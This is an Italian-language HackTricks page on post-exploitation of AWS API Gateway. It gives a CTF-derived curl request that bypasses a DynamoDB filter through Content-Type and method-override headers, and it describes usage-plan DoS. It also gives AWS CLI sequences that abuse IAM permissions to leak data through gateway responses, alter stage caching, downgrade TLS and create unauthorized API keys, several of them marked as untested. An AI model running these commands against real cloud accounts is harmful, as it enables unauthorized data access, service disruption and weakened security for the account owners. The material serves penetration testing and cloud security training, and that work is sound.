AWS - API Gateway Post Exploitation

Reading time: 7 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

API Gateway

Per ulteriori informazioni controlla:

AWS - API Gateway Enum

Accesso a API non esposte

Puoi creare un endpoint in https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint con il servizio com.amazonaws.us-east-1.execute-api, esporre l'endpoint in una rete a cui hai accesso (potenzialmente tramite una macchina EC2) e assegnare un gruppo di sicurezza che consenta tutte le connessioni.
Poi, dalla macchina EC2 sarai in grado di accedere all'endpoint e quindi chiamare l'API del gateway che non era stata esposta prima.

Bypass del passthrough del corpo della richiesta

Questa tecnica è stata trovata in questo CTF writeup.

Come indicato nella documentazione AWS nella sezione PassthroughBehavior, per impostazione predefinita, il valore WHEN_NO_MATCH, quando controlla l'intestazione Content-Type della richiesta, passerà la richiesta al back end senza alcuna trasformazione.

Pertanto, nel CTF, l'API Gateway aveva un modello di integrazione che preveniva l'exfiltrazione della flag in una risposta quando veniva inviata una richiesta con Content-Type: application/json:

yaml
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'

Tuttavia, inviare una richiesta con Content-type: text/json impedirebbe quel filtro.

Infine, poiché l'API Gateway consentiva solo Get e Options, era possibile inviare una query arbitraria a dynamoDB senza alcun limite inviando una richiesta POST con la query nel corpo e utilizzando l'intestazione X-HTTP-Method-Override: GET:

bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'

Usage Plans DoS

Nella sezione Enumeration puoi vedere come ottenere il piano di utilizzo delle chiavi. Se hai la chiave e è limitata a X utilizzi al mese, potresti semplicemente usarla e causare un DoS.

La API Key deve essere inclusa all'interno di un HTTP header chiamato x-api-key.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

Un attaccante con i permessi apigateway:UpdateGatewayResponse e apigateway:CreateDeployment può modificare una Gateway Response esistente per includere intestazioni personalizzate o modelli di risposta che leak informazioni sensibili o eseguire script dannosi.

bash
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impatto Potenziale: Fuoriuscita di informazioni sensibili, esecuzione di script dannosi o accesso non autorizzato alle risorse API.

note

Necessita di test

apigateway:UpdateStage, apigateway:CreateDeployment

Un attaccante con i permessi apigateway:UpdateStage e apigateway:CreateDeployment può modificare un stage esistente di API Gateway per reindirizzare il traffico a un altro stage o cambiare le impostazioni di caching per ottenere accesso non autorizzato ai dati memorizzati nella cache.

bash
API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impatto Potenziale: Accesso non autorizzato ai dati memorizzati nella cache, interruzione o intercettazione del traffico API.

note

Necessita di test

apigateway:PutMethodResponse, apigateway:CreateDeployment

Un attaccante con i permessi apigateway:PutMethodResponse e apigateway:CreateDeployment può modificare la risposta del metodo di un metodo API Gateway REST API esistente per includere intestazioni personalizzate o modelli di risposta che leak informazioni sensibili o eseguire script dannosi.

bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impatto Potenziale: Perdita di informazioni sensibili, esecuzione di script dannosi o accesso non autorizzato alle risorse API.

note

Necessita di test

apigateway:UpdateRestApi, apigateway:CreateDeployment

Un attaccante con i permessi apigateway:UpdateRestApi e apigateway:CreateDeployment può modificare le impostazioni dell'API Gateway REST API per disabilitare il logging o cambiare la versione minima di TLS, potenzialmente indebolendo la sicurezza dell'API.

bash
API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impatto Potenziale: Indebolire la sicurezza dell'API, potenzialmente consentendo accessi non autorizzati o esponendo informazioni sensibili.

note

Necessita di test

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

Un attaccante con permessi apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan e apigateway:CreateUsagePlanKey può creare nuove chiavi API, associarle ai piani di utilizzo e poi utilizzare queste chiavi per accessi non autorizzati alle API.

bash
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

Impatto Potenziale: Accesso non autorizzato alle risorse API, eludendo i controlli di sicurezza.

note

Necessita di test

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks